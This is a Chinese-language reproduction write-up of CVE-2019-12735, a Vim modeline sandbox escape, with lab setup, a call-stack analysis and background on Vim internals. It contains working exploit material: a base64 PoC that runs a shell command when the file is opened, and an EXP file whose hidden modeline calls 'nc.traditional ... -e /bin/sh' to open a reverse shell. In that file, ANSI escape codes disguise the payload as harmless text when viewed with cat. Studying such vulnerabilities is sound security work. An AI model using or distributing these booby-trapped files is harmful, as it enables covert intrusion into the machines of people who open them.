1.背景介绍
- 漏洞相关软件:Vim/NeoVim
- Vim/NeoVim 简介
- Vim是从vi发展出来的一个文本编辑器,是Linux 平台最常用的编辑器之一。
- Neovim 是Vim的一个重构版本,致力于成为Vim的超集(superset),
- Neovim的第一个版本在2015年12月发行,并且能够完全兼容Vim的特性。
- 相比于Vim,Neovim的主要改进在于其支持异步加载插件。
- 漏洞危害:打开恶意构造的文本文件,可以触发命令执行,使攻击者获得当前用户权限。
2.漏洞相关信息
- 漏洞原理:
Vim 的sandbox对输入的命令审查不严格,导致可以通过source命令加载其他Vim脚本绕过沙箱执行,配合上modeline特性,可以在Vim打开普通文件时实现OS command injection。 - 漏洞所属软件链接,版本,模块,目录,文件,代码行
- 漏洞所属类型:CWE-78 OS Command Injection
- 漏洞补丁:Vim patch
- 漏洞CVE号:CVE-2019-12735
3. 环境搭建
Vim安装
使用apt安装
apt-get install vim-runtime=2:7.4.1689-3ubuntu1
apt-get install vim-common=2:7.4.1689-3ubuntu1
apt-get install vim=2:7.4.1689-3ubuntu1
使用源码手动编译
# 下载源码,编译生成符号
# 参考:https://www.unix.com/programming/156665-compile-debug-vim-source-code.html
$ mkdir ~/MyVim
$ cd ~/MyVim
$ sudo apt-get install libncurses5-dev libncursesw5-dev
$ apt-get source vim=2:7.4.1689-3ubuntu1
$ cd src
$ cp Makefile Makefile.orig
$ vim Makefile
$ diff Makefile Makefile.orig
540c540
< CFLAGS = -g
---
> #CFLAGS = -g
908c908
< prefix = ~/MyVim
---
> #prefix = $(HOME)
1852c1852
< # $(STRIP) $(DEST_BIN)/$(VIMTARGET)
---
> $(STRIP) $(DEST_BIN)/$(VIMTARGET)
$ cd ..
$ make && make install
$ cd bin
$ gdb ./vim
使用Docker快速复现环境搭建
$ ls
Dockerfile
$ cat Dockerfile
From ubuntu:16.04
RUN set -e -x ;
apt update ;
apt-get install -y vim-runtime=2:7.4.1689-3ubuntu1 ;
apt-get install -y vim-common=2:7.4.1689-3ubuntu1 ;
apt-get install -y vim=2:7.4.1689-3ubuntu1 ;
echo "OiF1bmFtZSAtYXx8IiB2aTpmZW46ZmRtPWV4cHI6ZmRlPWFzc2VydF9mYWlscygic291cmNlXCFcIFwlIik6ZmRsPTA6ZmR0PSIK" | base64 --decode > /root/poc.txt
$ sudo docker build -t vim-cve-2019-12735 .
$ sudo docker run -it vim-cve-2019-12735 /bin/bash
echo -e "set modelinenset modelines=5" > ~/.vimrc
cd root
vim poc.txt
4. POC
a. POC原理
- 背景简介
- Vim可以通过Vim脚本编写插件,通过
source[!]
命令加载和执行脚本 - Vim支持通过Vim command或者Vim脚本执行shell指令
- vim支持通过表达式(可以理解为短脚本)对文本进行设置(比如folding代码块折叠显示功能)
- 表达式支持Vim指令,但是会在自己的sandbox执行,只输出执行结果
- Vim表达式中存在一些自带的函数
execute, assert_fails
等,可以将Vim command作为参数执行。 - 由于限制不严格,当表达式通过execute, assert_fails这类函数执行source命令时,会在sandbox中执行,但是source 加载的Vim脚本则会在正常进程环境中执行
- Vim的modeline功能是用于对单个文件进行自动配置的,并且也可以设置带有表达式的配置,因此可以利用此特性在Vim打开精心构造的恶意文本时实现OS command injection.
- Vim可以通过Vim脚本编写插件,通过
- Poc原理要理解Poc的原理,需要有一些Vim相关的背景知识,见下文背景知识部分下面?是Poc的流程:
- vim 打开poc文件,识别出文件首部的modeline
- 跳过开头的text,从
"vi:"
后面开始依次加载配置选项 - 加载到fde选项时,执行表达式中的
assert_fails
函数,进而执行source! %
指令 -
source! %
将当前文件作为Vim脚本加载并执行 - Vim脚本的内容就是Poc文件,但是这次与直接打开不同,是作为脚本加载,所以文件内容不会被识别为modeline,而是识别为Vim脚本,具体含义是执行shell命令
uname -a || "some text"
,从而实现了命令执行
- 调用栈信息
#0 openscript (
name=0x88fba8 "/home/invincible/Desktop/test/vim_test/poc.txt",
directly=0x0) at getchar.c:1415
#1 0x000000000046e06f in cmd_source (
fname=0x88fba8 "/home/invincible/Desktop/test/vim_test/poc.txt",
eap=0x7fffffffc5c0) at ex_cmds2.c:3502
#2 0x000000000046dfd8 in ex_source (eap=0x7fffffffc5c0) at ex_cmds2.c:3484
...
#4 0x0000000000470d89 in do_cmdline (cmdline=0x87ea80 "source! %",
...
#7 0x00000000004395ec in call_func (
funcname=0x884d40 "assert_fails("source! %")", len=0xc,
...
#9 0x00000000004337f8 in eval7 (arg=0x7fffffffd680, rettv=0x7fffffffd6c0,
...
#16 0x000000000043189b in eval0 (arg=0x884d40 "assert_fails("source! %")",
#17 0x000000000042cc06 in eval_foldexpr (
arg=0x884d40 "assert_fails("source! %")", cp=0x7fffffffd70c)
#18 0x00000000004a8403 in foldlevelExpr (flp=0x7fffffffd7b0) at fold.c:3032
...
#26 0x000000000040e02f in chk_modeline (lnum=0x1, flags=0x0) at buffer.c:5234
#27 0x000000000040dba6 in do_modelines (flags=0x0) at buffer.c:5115
...
#30 0x00000000005e8db0 in main (argc=0x2, argv=0x7fffffffde98) at main.c:881
...
b.POC源码
$ echo "OiF1bmFtZSAtYXx8IiB2aTpmZW46ZmRtPWV4cHI6ZmRlPWFzc2VydF9mYWlscygic291cmNlXCFcIFwlIik6ZmRsPTA6ZmR0PSIK" | base64 --decode > poc.txt
$ cat poc.txt
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source! %"):fdl=0:fdt="
$vim poc.txt
c.复现步骤
环境清单
- 系统版本: Ubuntu-16.04.6 LTS (Xenial Xerus)
- Vim版本: VIM – Vi IMproved 7.4
- Vim package 版本: 2:7.4.1689-3ubuntu1
- 镜像下载地址: https://mirrors.tuna.tsinghua.edu.cn/ubuntu-releases/14.04.6/ubuntu-14.04.6-desktop-amd64.iso
QEMU虚拟机搭建步骤:
# 创建虚拟机硬盘
$ qemu-img create -f qcow2 ubuntu16.04.6.img 10G
# 安装虚拟机
$ qemu-system-x86_64 -m 2048 -hda ubuntu16.04.6.img -cdrom ./ubuntu-16.04.6-desktop-amd64.iso
# 启动虚拟机
$ qemu-system-x86_64 -m 2048 ubuntu16.04.6.img
Step1 – 安装nc.traditional
建立会话的方式很多,这一步只是为了演示exp需要。
sudo apt-get install netcat-traditional
Step2 – 安装含漏洞版本的Vim
$ sudo apt-get install vim-runtime=2:7.4.1689-3ubuntu1
$ sudo apt-get install vim-common=2:7.4.1689-3ubuntu1
$ sudo apt-get install vim=2:7.4.1689-3ubuntu1
Step3 – 检查Vim配置是否开启modeline,若没有则配置Vim
# 检查modeline配置
vim
:verbose set modeline? set modelines?
# 如果显示nomodeline或者nomodelines表示没有配置
# 配置方法:
vim ~/.vimrc
i
set modeline
set modelines=5
<ESC>
:wq
Step4 – 创建poc文件
echo "G1s/OiF1bmFtZSAtYXx8IiB2aTpmZW46ZmRtPWV4cHI6ZmRlPWFzc2VydF9mYWlscygic291cmNlXCFcIFwlIik6ZmRsPTA6ZmR0PSIK" | base64 --decode > poc.txt
# base64编码明文:
:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source! %"):fdl=0:fdt="n
Step5 – 用vim打开触发命令执行(uname -a)
$ vim poc.txt
Linux ubuntu 4.4.0-112-generic #135-Ubuntu SMP Fri Jan 19 11:48:36 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Press ENTER or type command to continue
5. EXP
a. EXP原理
- Exp是一条精心构造的modeline,主要是为了把恶意文件伪造成正常文本,消除痕迹;
- 可以分为两部分,一部分用于欺骗Vim,实现代码执行,隐藏恶意文本内容;
- 另一部分用于欺骗cat,使文本打开时看起来是正常文本;
- 主要通过ANSI Escape Code来实现这些隐藏功能。
Vim加载exp文件后等同于执行下面的序列:
# modeline触发执行自动配置
:set fen
:set fdm=expr
:set fde=assert_fails('set fde=x | source! %')
:set fdl=0
# fde=assert_fails触发了assert_fails函数调用
:call assert_fails('set\ fde=x\ \|\ source\!\ \%')
# assert_fails函数执行vim命令
:set fde=x | source! %
# source! % 加载当前文件,并视为Vim Ex mode下的脚本执行:
<ESC>
S
Nothing here.
<ESC>
:silent! w
:call system('nohup nc.traditional 127.0.0.1 9999 -e /bin/sh &')
:redraw!
:file
:silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[KNothing here."x16x1b[D n
# 读取到换行符号后n执行上面第一个silent!以及后面的命令
# 通过vim的system函数执行了系统命令,建立反弹shell
逐条解释:
# exp.txt:
x1b[?7lx1bSNothing here.x1b:silent! w | call system('nohup nc.traditional 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[2KNothing here."x16x1b[2D n
# 下文括号中的c表示用于欺骗cat,v表示Vim脚本正常指令
x1b[?7l (c)
# 关闭自动换行
# 配合x1b[1G和x1b[K使用,见下文
# 具体定义和测试Demo见下文 ANSI escape codes 部分
x1bS (v)
# <ESC>S 相当于依次按下ESC键和S键
# 表示剪切当前行,并从Normal mode切换到Insert mode
# 经测试,这里的x1b是可以去掉的
# 具体定义和测试Demo见下文 ANSI escape codes 部分
Nothing here. (v)
# 在Insert mode下写入字符串 Nothing here.
x1b (v)
# 相当于依次按下ESC键,退出Insert mode 返回Normal mode
: (v)
# 从Normal mode进入Command-line mode
silent! w (v)
# 保存写入的内容,并且关闭回显
# 具体定义和测试Demo见下文 Vim表达式和脚本部分
| call system('nohup nc.traditional 127.0.0.1 9999 -e /bin/sh &') (v)
# 调用system 函数执行Shell命令
# 具体定义和测试Demo见下文 Vim表达式和脚本部分
| redraw! (v)
# 清除回显信息
# 具体定义和测试Demo见下文 Vim表达式和脚本部分
| file | silent! [some text] (v)
# 显示当前文件信息,silent!用于清除后面的字符串产生的报错信息
# 最后的效果就是屏幕底部显示的是file的执行结果
vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: (v)
# vim加载时modeline的正文部分
# fen foldenable, 开启代码折叠folding功能
# fdm foldmethod, 设置folding方法为expr
# fde foldexpr, 设置fold expression
# assert_fails Vim的内部函数,可以执行第一个参数指定的vim命令,具体见下文
# 此处执行了两个命令:
# set fde 把foldexpr设置为x(相当于设置为无效)
# source % 把当前文件视为vim脚本,加载并执行
# fdl foldlevel 设置为0表示所有满足条件的文本块都折叠显示(与exp无关)
x16 (v)
# 这个很关键,由于是用source! %打开,所以文本的内容都会识别成在Normal mode下的输入,比如x1b就是按下<ESC>, S就代表按下键盘(shift+s),而当执行到第二个silent! 之后,后面的字符串直到'n'我们希望它们被忽略,但是为了构造cat的输出, 字符串中包含了很多escape code比如x1b[D, 但是这些也会被识别成键盘的按键操作,导致整个指令都无法执行 而x16正是为了解决这个问题,它会把下一个按键解析成字符而不会让它执行按键功能,具体分析见下文 ANSI escape codes部分。
x1b[1G (c)
# cat打开时候,将光标移动到当前行的首部
# 配合x1b[K和x1b[?7l,见下文
# 具体分析和Demo见下文 ANSI escape codes部分。
x16 (v)
# 作用同上
x1b[2K (c)
# 配合x1b[1G和x1b[?7l,删除当前位置到行首的内容(不会改变文本,只改变输出内容)
# 经过这个处理,cat的查看结果就只剩下后面的信息了
# 具体分析和Demo见下文 ANSI escape codes部分。
Nothing here." (c)
# 准备让cat查看文件输出的字符串,与Vim打开文件时查看到的内容相同
x16 (v)
# 作用同上
x1b[2D (c)
# 光标向前移动2位
# 具体分析和Demo见下文 ANSI escape codes部分。
n (c&v)
# 因为光标前移,两个空格会覆盖Nothing here." 字符串最后的引号"和x16
# 于是cat的输出只剩下 x16Nothing here.n
# n换行触发 silent! w | ... | file | silent! [some text] 整条命令的执行
# 其中call system完成系统命令执行建立反弹shell
b. EXP源码
原作者exp: shell.txt
基于复现环境修改过的exp:
echo "G1s/N2wbUyBOb3RoaW5nIGhlcmUuGzpzaWxlbnQhIHcgfCBjYWxsIHN5c3RlbSgnbm9odXAgbmMudHJhZGl0aW9uYWwgMTI3LjAuMC4xIDk5OTkgLWUgL2Jpbi9zaCAmJykgfCByZWRyYXchIHwgZmlsZSB8IHNpbGVudCEgIyAiIHZpbTogc2V0IGZlbiBmZG09ZXhwciBmZGU9YXNzZXJ0X2ZhaWxzKCdzZXRcIGZkZT14XCBcfFwgc291cmNlXCFcIFwlJykgZmRsPTA6IBYbWzFHFhtbMktOb3RoaW5nIGhlcmUuIhYbWzJEICAK" | base64 --decode > exp.txt
# base64编码对应的明文
x1b[?7lx1bS Nothing here.x1b:silent! w | call system('nohup nc.traditional 127.0.0.1 9999 -e /bin/sh &') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails('set\ fde=x\ \|\ source\!\ \%') fdl=0: x16x1b[1Gx16x1b[2KNothing here."x16x1b[2D n
# 修改了四处
# nc -> nc.traditional
# x1b[K -> x1b[2K
# x1b[D -> x1b[2D
# n -> n (增加了一个空格)
exp修改说明
nc -> nc.traditional
Ubuntu上的nc不包含-e选项,解决办法是安装nc.traditional来替代nc命令
x1b[K -> x1b[2K 和 x1b[D -> x1b[2D 是用于清除不可见字符x16和引号
修改前:
修改后:
c. 复现步骤
搭建复现环境,与Poc相同
Step1 – 创建exp文件
$ echo "G1s/N2wbUyBOb3RoaW5nIGhlcmUuGzpzaWxlbnQhIHcgfCBjYWxsIHN5c3RlbSgnbm9odXAgbmMudHJhZGl0aW9uYWwgMTI3LjAuMC4xIDk5OTkgLWUgL2Jpbi9zaCAmJykgfCByZWRyYXchIHwgZmlsZSB8IHNpbGVudCEgIyAiIHZpbTogc2V0IGZlbiBmZG09ZXhwciBmZGU9YXNzZXJ0X2ZhaWxzKCdzZXRcIGZkZT14XCBcfFwgc291cmNlXCFcIFwlJykgZmRsPTA6IBYbWzFHFhtbMktOb3RoaW5nIGhlcmUuIhYbWzJEICAK" | base64 --decode > exp.txt
Step2 – 监听nc回连端口
$ nc -vlp 9999
Listening on [0.0.0.0] (family 0, port 9999)
Step3 – Vim打开exp文件
$ vim exp.txt
Nothing here.
~
...
~
"exp.txt" line 1 of 1 --100%-- col 14
会话建立成功
$ nc -vlp 9999
Listening on [0.0.0.0] (family 0, port 9999)
Connection from [127.0.0.1] port 9999 [tcp/*] accepted (family 2, sport 55824)
pwd
/home/invincible/Desktop/test/vim_test
id
uid=1000(invincible) gid=1000(invincible) groups=1000(invincible),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
6. 背景知识
Vim的模式
参考:http://vimdoc.sourceforge.net/htmldoc/intro.html#vim-modes-intro
Normal mode
通过 $ vim file 打开文件后进入的模式
$ vim hello.txt
Hello
~
~
~ ...
~
"hello.txt" 1L, 6C
通过source!加载的脚本的内容,就是相当于在这个模式下输入的内容
Command-line mode
- 在normal mode下输入
: ( and / ? )
进入Command-line mode - 在Vim的Command-line模式下,可以执行Vim commands
- 其中,通过
:!{shell cmd}
可以执行shell命令
# http://vimdoc.sourceforge.net/htmldoc/various.html#:!
$ vim
:!uname -a
Linux ubuntu 4.4.0-112-generic #135-Ubuntu SMP Fri Jan 19 11:48:36 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Press ENTER or type command to continue
Ex mode
- 通过
$ vim -e file
进入该模式 - 也可以在Normal mode下输入Q进入该模式
- 这个模式的特点是可以连续执行Vim command,可以类比 python 的命令行模式
- 通过source加载的脚本的内容,就是相当于在这个模式下输入的内容
Insert mode
- 在Normal mode下输入i可以进入Insert mode, 这个模式相当于编辑模式,大部分操作和在记事本中一样。
- 另外还有 “I”, “a”, “A”, “o”, “O”, “c”, “C”, “s” or S”也可以从Normal mode进入Insert mode.
- 具体模式转换见: http://vimdoc.sourceforge.net/htmldoc/intro.html#vim-modes-intro
- 其中”S”表示剪切当前行,并进入Insert mode
# :help S
# ["x]S Delete [count] lines [into register x] and start
# insert. Synonym for "cc" |linewise|.
# Demo演示
$ vim 1.vim
:let i = 1
:while i < 10
: let a = getline(i)
: if empty(a)
: break
: endif
: echo "Line:" i "is" a
: let i += 1
:endwhile
~
...
~
"1.vim" 9L, 147C
S(shift+s)
:while i < 10
: let a = getline(i)
: if empty(a)
: break
: endif
: echo "Line:" i "is" a
: let i += 1
:endwhile
~ ...
~
-- INSERT --
<ESC>
p (p是粘贴)
p
:let i = 1
:let i = 1
:while i < 10
: let a = getline(i)
: if empty(a)
: break
: endif
: echo "Line:" i "is" a
: let i += 1
:endwhile
~ ...
Vim options的概念
Vim的options相当于编辑器的配置,通过command-line模式的:set命令手动配置,也可以通过脚本自动配置,自动配置的方法主要是通过Vim脚本(.vimrc, .exrc)或者modeline方式。
Vim的modeline功能
- 参考1: http://vimdoc.sourceforge.net/htmldoc/options.html#modeline
- 参考2: https://vim.fandom.com/wiki/Modeline_magic
modeline用于在文本文件的首部或者尾部设置vim options, 让vim打开文件的时候自动加载并执行该配置
# modeline 有两种格式
# 第一种格式: [text]{white}{vi:|vim:|ex:}[white]{options}
# vi:noai:sw=3 ts=6
# - text可以用来放置编程语言的注释(python的 # , C 的// ),是可选的
# - vi:之前一定要有空格
# - options用":"或者空格分隔
# 第二种格式:
# [text]{white}{vi:|vim:|ex:}[white]se[t] {options}:[text]
# /* vim: set ai tw=75: */
# - 首尾都可以用text主要是支持(C的这种注释 "/**/"),首尾的text都是可选的
# - vim: 后面要有空格
# - 要有一个set(可以缩写成 se,后面跟空格)
# - options用空格分隔
# - 结尾要有冒号 :
开启modeline
# 编辑~/.vimrc
# 添加:
set modeline
set modelines=5
具体使用
# 用Vim打开文本:
$ vim a.py
# python3
# coding=utf-8
import platform
def func1():
for i in range(10):
print("hello vim")
print(platform.platform())
# cursor is here
def main():
func1()
main()
# 打开a.py后, 默认的tab长度是8个空格,不支持回车自动缩进
# 可以通过tabstop和autoindent两个选项来配置
:set tabstop=4
:set autoindent
# 效果如下:
# python3
# coding=utf-8
import platform
def func1():
for i in range(10):
print("hello vim")
print(platform.platform())
# cursor is here
def main():
func1()
main()
# 但是下次打开后,又需要再配置一次
# 可以通过modeline来使这个配置每次打开a.py文件时都生效
# 在文件开头添加一行内容: # vim: set tabstop=4 autoindent:
# 再次打开效果如下:
$ vim a.py
# vim: set tabstop=4 autoindent:
# python3
# coding=utf-8
import platform
def func1():
for i in range(10):
print("hello vim")
print(platform.platform())
# cursor is here
def main():
func1()
main()
For security reasons, only a subset of options is permitted in modelines, and if the option value contains an expression, it is executed in a sandbox
为了安全原因,只有部分options可以在modeline中配置,如果option的值是一个表达式(比如配置foldexpr),那么表达式会在vim的sandbox中执行
Vim表达式和脚本
根据Vim Script语法编写Vim脚本,参考:
https://github.com/name5566/vim-config/blob/master/vim_script.md
http://vimdoc.sourceforge.net/htmldoc/usr_41.html
http://vimdoc.sourceforge.net/htmldoc/eval.html
http://vimdoc.sourceforge.net/htmldoc/eval.html#functions
# 创建一个Vim脚本1.vim
$ vim 1.vim
# 按照Vim Script语法编辑脚本
:let i = 1
:while i < 10
: let a = getline(i)
: if empty(a)
: break
: endif
: echo "Line:" i "is" a
: let i += 1
:endwhile
# 保存
:w
# 用source指令加载自己并执行
:source %
# or
:source 1.vim
# 执行结果:
Line: 1 is :let i = 1
Line: 2 is :while i < 10
Line: 3 is : let a = getline(i)
Line: 4 is : if empty(a)
Line: 5 is : break
Line: 6 is : endif
Line: 7 is : echo "Line:" i "is" a
Line: 8 is : let i += 1
Line: 9 is :endwhile
Press ENTER or type command to continue
# 在编辑其他文件的时候加载并执行一个Vim脚本
$ vim a.txt
Hello
Vim
Goodbye!
~
:source 1.vim
Line: 1 is Hello
Line: 2 is Vim
Line: 3 is Goodbye!
Press ENTER or type command to continue
source命令
source命令用于从Vim脚本文件中读取Vim指令并执行,参考:http://vimdoc.sourceforge.net/htmldoc/repeat.html#using-scripts
:help source
:so[urce] {file}
Read Ex commands from {file}.
These are commands that start with a ":".
:so[urce]! {file}
Read Vim commands from {file}.
These are commands that are executed from Normal mode,
like you type them.
source和source!的区别在于:
- source是从文件读取 Ex commands, 也就是说文件的内容必须是 :cmd 的形式
- source!是从文件读取 Normal mode下执行的vim commands, 也就是说文件中的
<ESC> i /
字符这些都会当成Normal mode下的用户输入(like you type them)
# 创建一个vim脚本,写入内容iHello,World后保存
$ vim 5.vim
iHello,World
:wq
# 用source! 加载并执行脚本
$ vim
:source! 5.vim
# 效果如下,打开后直接进入了Insert mode
Hello,World
~
~
...
~
~
-- INSERT --
# 而用source加载则会报错
$ vim
:source 5.vim
Error detected while processing 5.vim:
line 1:
E492: Not an editor command: iHello,World
Press ENTER or type command to continue
vim执行shell命令
通过在command-line mode下,使用 !{cmd}来执行shell命令
$ vim
:!uname -a
Linux ubuntu 4.4.0-112-generic #135-Ubuntu SMP Fri Jan 19 11:48:36 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Press ENTER or type command to continue
# 一个可以执行shell命令的vim脚本
$ vim a.vim
<i>
:!uname -a
~
~
<ESC>
:source %
... Darwin Kernel Version 18.2.0: Thu Dec 20 20:46:53 PST 2018; root:xnu-4903.241.1~1/RELEASE_X86_64 x86_64
Press ENTER or type command to continue
# 特殊的函数execute
# $ vim
# :help execute()
# execute({command} [, {silent}]) *execute()*
# Execute an Ex command or commands and return the output as a
# string.
# {command} can be a string or a List. In case of a List the
# lines are executed one by one.
# ...
# The optional {silent} argument can have these values:
# "" no `:silent` used
# "silent" `:silent` used
# "silent!" `:silent!` used
# The default is "silent".
# Note that with "silent!", unlike `:redir`, error messages are dropped
# ...
$ vim b.vim
: call execute("source a.vim", "")
... Darwin Kernel Version 18.2.0: Thu Dec 20 20:46:53 PST 2018; root:xnu-4903.241.1~1/RELEASE_X86_64 x86_64
Press ENTER or type command to continue
# execute函数在ubuntu上安装的Vim中没有,但是还有另一个可以执行shell命令:assert_fails()
# $ vim
# :help assert_fails
#
# assert_fails({cmd} [, {error}]) *assert_fails()*
# Run {cmd} and add an error message to |v:errors| if it does
# NOT produce an error.
# When {error} is given it must match in |v:errmsg|.
$ vim b.vim
: call assert_fails("source a.vim")
... Darwin Kernel Version 18.2.0: Thu Dec 20 20:46:53 PST 2018; root:xnu-4903.241.1~1/RELEASE_X86_64 x86_64
Press ENTER or type command to continue
# :help silent
# *:sil* *:silent* *:silent!*
# :sil[ent][!] {command}
# Execute {command} silently.
# Normal messages will not
# be given or added to the message history.
# When [!] is added, error messages will also be
# skipped, and commands and mappings will not be aborted
# when an error is detected.
# 1. 编写一个文件,不使用silent,保存后会在底部出现回显信息
vim 1.txt
i
something
~ ...
~
<ESC>
:w
"a.vim" 1L, 11C written
# 2. 使用silent,w命令的回显信息就消失了
vim 1.txt
i
somenthing
~ ...
~
:silent! w
# 3. silent! 可以用来去除错误信息
vim 1.txt
i
something
<ESC>
:w
:file | silent! Anycommand or anytext'' ; "
something
~ ...
~
"1.vim" line 1 of 1 --100%-- col 9
# :help redraw!
# *:redr* *:redraw*
# :redr[aw][!]
# Redraw the screen right now.
# When ! is included it is cleared first.
# ...
# 立刻刷新屏幕,如果设置了!则先清除屏幕内容
# 每条命了执行完,底部会留下历史记录, redraw!会清除掉记录
# 屏幕会清空
vim 1.txt
i
somenthing
~ ...
~
:silent! w
:redraw!
something
~ ...
~
# 输入当前文件信息
vim 1.txt
i
something
<ESC>
:w
:file
something
~ ...
~
"1.vim" line 1 of 1 --100%-- col 9
system({expr} [, {input}]) *system()* *E677*
Get the output of the shell command {expr} as a string.
...
$ vim
:let a = system('pwd')
:echo a
~
/home/invincible/Desktop/test/vim_test
Press ENTER or type command to continue
执行一个vim command, 如果没有出错,则将command的执行信息保存到v:errors全局变量中
:help assert_fails
assert_fails({cmd} [, {error}])
Run {cmd} and add an error message to |v:errors|
if it does NOT produce an error.
When {error} is given it must match in |v:errmsg|.
$ vim
:call assert_fails("echo 'hello'")
~
...
~
hello
:echo v:errors
['command did not fail: echo ''hello''']
编写一个可以执行shell命令的vim脚本
$ vim a.vim
<i>
:!uname -a
~
~
<ESC>
:wq
# 用assert_faild执行vim的source指令,加载vim脚本a.vim
$ vim
:call assert_fails("source a.vim")
Linux ubuntu 4.4.0-112-generic #135-Ubuntu SMP Fri Jan 19 11:48:36 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
Press ENTER or type command to continue
:echo v:errormsg
['command did not fail: source a.vim']
- vim的folding功能用于对文本中的文本块(比如一个函数,一段注释)折叠和展开,可以类比为图形化编辑器编辑区侧栏的(+/-)。
- foldmethod选项是用来配置Vim的代码折叠功能的,Vim给出了manual, indent, expr, syntax, diff, marker这几种代码折叠的方式,下面?是indent方式的效果:
# 文本如下
$ vim a.py
# python3
# coding=utf-8
import platform
def func1():
for i in range(10):
print("hello vim")
print(platform.platform())
def main():
func1()
main()
# 1. 设置foldmethod选项
:set foldenable
:set foldmethod=indent
# 效果如下
# python3
# coding=utf-8
import platform
def func1():
+-- 3 lines: for i in range(10):-------------------------------------
def main():
func1()
main()
如果不满足于给定的几种方式,可以将foldmethod设置为expr来自定义代码块的特征
# 文本如下
$ vim a.py
# python3
# coding=utf-8
import platform
def func1():
for i in range(10):
print("hello vim")
print(platform.platform())
def main():
func1()
main()
:set foldenable
:set foldmethod=expr
:set foldexpr=getline(v:lnum)[0]=="#"
# foldexpr用于设置文本满足的条件,满足条件的文本块会被折叠
# 该配置的意思是通过Vim的getline函数,判断每一行文本的第一个字符是否为"#",将满足条件的相邻的行视为一个文本块,并将其折叠
# 效果如下:
+-- 2 lines: # python3-----------------------------------------------
import platform
def func1():
for i in range(10):
print("hello vim")
print(platform.platform())
def main():
func1()
main()
11. The sandbox *eval-sandbox* *sandbox* *E48*
The 'foldexpr', 'formatexpr', 'includeexpr', 'indentexpr', 'statusline' and
'foldtext' options may be evaluated in a sandbox.
This gives some safety for when these options are set from a modeline.
These items are not allowed in the sandbox:
- changing the buffer text
- defining or changing mapping, autocommands, functions, user commands
- setting certain options (see |option-summary|)
- setting certain v: variables (see |v:var|) *E794*
- executing a shell command
- reading or writing a file
- jumping to another buffer or editing a file
- executing Python, Perl, etc. commands
参考:
https://www.gnu.org/software/screen/manual/html_node/Control-Sequences.html
https://notes.burke.libbey.me/ansi-escape-codes/
https://learnku.com/articles/26231
x1b[1G 光标移动到当前行的第Pn个位置
# ESC [ Pn G Cursor horizontal position
# $ echo -e "Hellox1b[1GA" > a.txt
# $ cat a.txt
# Aello
# $ echo -e "Hellox1b[2GA" > a.txt
# $ cat a.txt
# HAllo
# $ echo -e "Hellox1b[3GA" > a.txt
# $ cat a.txt
# HeAlo
x1b[D 光标左移1个位置
# ESC [ Pn D Cursor Left
# 光标左移Pn个位置
# $ echo -e "Hellox1b[D" > a.txt
# $ cat a.txt
# Hello
# $ echo -e "Hellox1b[Dx1b[Dx1b[DAAA" > a.txt
# $ cat a.txt
# HeAAA
# $ echo -e "Hellox1b[5DAAA" > a.txt
# $ cat a.txt
# AAAlo
x1b[K 清除光标到当前位置的内容
# * ESC [ K erase to end of line (inclusive)
# 清除光标到当前位置的内容(不会改变文本),可以配合x1b[G使用
$ echo -e "AAAAx1b[1Gx1b[KBBBB" > a.txt
$ cat a.txt
BBBB
$ echo -e "ABCDx1b[2Gx1b[KEEEE" > a.txt
$ cat a.txt
AEEEE
$ echo -e "ABCDx1b[3Gx1b[KEEEE" > a.txt
$ cat a.txt
ABEEEE
$ echo -e "ABCDx1b[KEEEE" > a.txt
$ cat a.txt
ABCDEEEE
- ESC [ ? 7 l auto wrap off
- x1b[?7l 关闭自动换行 (l -> low)
- x1b[?7h 开启自动换行 (h -> high)
- 这个命令的功能是控制Terminal的显示功能,默认情况下,如果文本长度超过Terminal的显示长度,则会自动换行,如果关闭了自动换行,则会全部显示在一行,超出的部分被”截断”
x1b[?7l 和 x1b[1G 配合使用的效果:
使用前 :
使用后:
x1b[?7l 和 x1b[1G + x1b[K 配合使用的效果:
参考:
http://defindit.com/ascii.html
https://zh.wikipedia.org/wiki/%E6%8E%A7%E5%88%B6%E5%AD%97%E7%AC%A6
这是一个ascii码的控制字符,代表 ctrl+v,它的功能可以理解为:让下一个输入识别为普通字符
$ cat a.py
a = input("> ")
print(ord(a[0]))
$ python3 a.py
# 想直接输入ctrl+c, 但程序退出,被识别成了中断信号
> ^CTraceback (most recent call last):
File "a.py", line 1, in <module>
a = input("> ")
KeyboardInterrupt
$ python3 a.py
# 依次按下ctrl+v和ctrl+c, 就顺利打印出了ctrl+c的ascii码
> ^C
3
为什么Exp中需要x16控制字符
echo -e "iHellox1b[D" > a.vim
$ vim
:source! a.vim
Hello
~ ...
~
E388: Couldn't find definition
这个报错可以手动输入下面的指令产生:
$ vim
i
Hello
<ESC>
[
shift+d
# 如果加上x16则x1b不会被解析成<ESC>按键,而是输入字符
echo -e "iHellox16x1b[D" > a.vim
Hello^[[D
~ ...
~
-- INSERT --
7.参考
https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md
https://imbawenzi.github.io/2019/08/03/vim/